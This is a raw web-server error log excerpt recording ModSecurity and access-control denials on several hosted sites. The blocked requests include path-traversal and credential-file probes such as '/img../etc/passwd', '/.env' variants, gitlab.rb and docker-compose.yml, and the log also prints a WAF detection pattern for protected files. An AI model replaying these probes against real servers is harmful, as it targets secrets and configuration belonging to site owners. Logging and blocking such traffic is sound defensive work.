[msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/media../config.py"] [unique_id "ai3x-cTA7b1mZrmcA-85WAAAAo8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.639939 2026] [security2:error] [pid 531155:tid 531292] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/uploads/.env"] [unique_id "ai3x-SmiP80klyS0NnoFogAAARE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.643787 2026] [security2:error] [pid 531155:tid 531182] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/gitlab/gitlab.rb"] [unique_id "ai3x-SmiP80klyS0NnoFowABJBo"] [Sat Jun 13 18:12:41.667857 2026] [security2:error] [pid 531155:tid 531384] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/uploads/.env"] [unique_id "ai3x-SmiP80klyS0NnoFpQAAAW0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.678147 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.44:57853] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:41.678613 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.44:57853] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:41.683143 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.90:59524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:41.683782 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.90:59524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:41.696325 2026] [security2:error] [pid 531155:tid 531358] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/uploads/.env"] [unique_id "ai3x-SmiP80klyS0NnoFpgAAAVM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.728091 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.94:22430] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:41.728515 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.94:22430] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:41.734392 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:41.734833 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:41.755809 2026] [security2:error] [pid 531155:tid 531316] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/storage/.env"] [unique_id "ai3x-SmiP80klyS0NnoFqwAAASk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.773246 2026] [security2:error] [pid 531797:tid 532040] [client 103.153.183.69:49074] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/media../docker-compose.yml"] [unique_id "ai3x-cTA7b1mZrmcA-85YwAAAj8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.783389 2026] [security2:error] [pid 531155:tid 531392] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/storage/.env"] [unique_id "ai3x-SmiP80klyS0NnoFrgAAAXU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.809359 2026] [security2:error] [pid 531155:tid 531382] [client 103.153.183.69:49050] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/img../"] [unique_id "ai3x-SmiP80klyS0NnoFsAAAAWs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.814043 2026] [security2:error] [pid 531797:tid 531896] [remote 17.241.75.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x-cTA7b1mZrmcA-85ZQACOCA"] [Sat Jun 13 18:12:41.854433 2026] [security2:error] [pid 531155:tid 531345] [client 103.153.183.69:49092] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/img../etc/passwd"] [unique_id "ai3x-SmiP80klyS0NnoFsgAAAUY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:41.880802 2026] [security2:error] [pid 531155:tid 531360] [client 103.153.183.69:49092] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/storage/.env"] [unique_id "ai3x-SmiP80klyS0NnoFtQAAAVU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:42.011117 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.73:61624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:42.011569 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.73:61624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:42.088620 2026] [access_compat:error] [pid 531797:tid 531882] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:42.089052 2026] [access_compat:error] [pid 531797:tid 531882] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:42.237819 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50Mi9wb3dlcg== [Sat Jun 13 18:12:42.238262 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50Mi9wb3dlcg== [Sat Jun 13 18:12:42.284700 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.40:35026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:42.285047 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.40:35026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:42.347796 2026] [core:error] [pid 531797:tid 532095] [client 173.254.29.157:23994] AH00135: Invalid method in request PURGE /.* HTTP/1.1 [Sat Jun 13 18:12:42.363567 2026] [core:error] [pid 531155:tid 531313] [client 173.254.29.157:24000] AH00135: Invalid method in request PURGE /.* HTTP/1.1 [Sat Jun 13 18:12:42.460970 2026] [security2:error] [pid 531797:tid 531883] [remote 17.246.15.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x-sTA7b1mZrmcA-85dQACYxM"] [Sat Jun 13 18:12:42.467434 2026] [security2:error] [pid 531797:tid 532094] [client 103.146.202.144:42634] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/.env"] [unique_id "ai3x-sTA7b1mZrmcA-85dwAAAnM"] [Sat Jun 13 18:12:42.485615 2026] [security2:error] [pid 531797:tid 531917] [remote 17.241.75.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x-sTA7b1mZrmcA-85dgACMDU"] [Sat Jun 13 18:12:42.514611 2026] [security2:error] [pid 531155:tid 531212] [remote 57.141.14.98:60354] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3x-imiP80klyS0NnoF0AABcTg"], referer: https://nelsonfarmstn.com/product/fierce-2/?add_to_wishlist=1259&_wpnonce=dacad5c21f&add-to-cart=837 [Sat Jun 13 18:12:42.571073 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.8:31531] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:42.571350 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.8:31531] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:42.792158 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:12:42.792625 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:12:43.112210 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.52:22828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:43.112664 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.52:22828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:43.261249 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:43.261704 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:43.377962 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.73:61640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:43.378365 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.73:61640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:43.615270 2026] [security2:error] [pid 531797:tid 531897] [remote 74.208.38.160:55926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.38.208.74.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "teapeak.net"] [uri "/wp-login.php"] [unique_id "ai3x-8TA7b1mZrmcA-85kwACeCE"] [Sat Jun 13 18:12:43.632260 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.103:23486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:43.632519 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.103:23486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:43.819073 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjFi [Sat Jun 13 18:12:43.819537 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjFi [Sat Jun 13 18:12:44.337276 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:44.337733 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 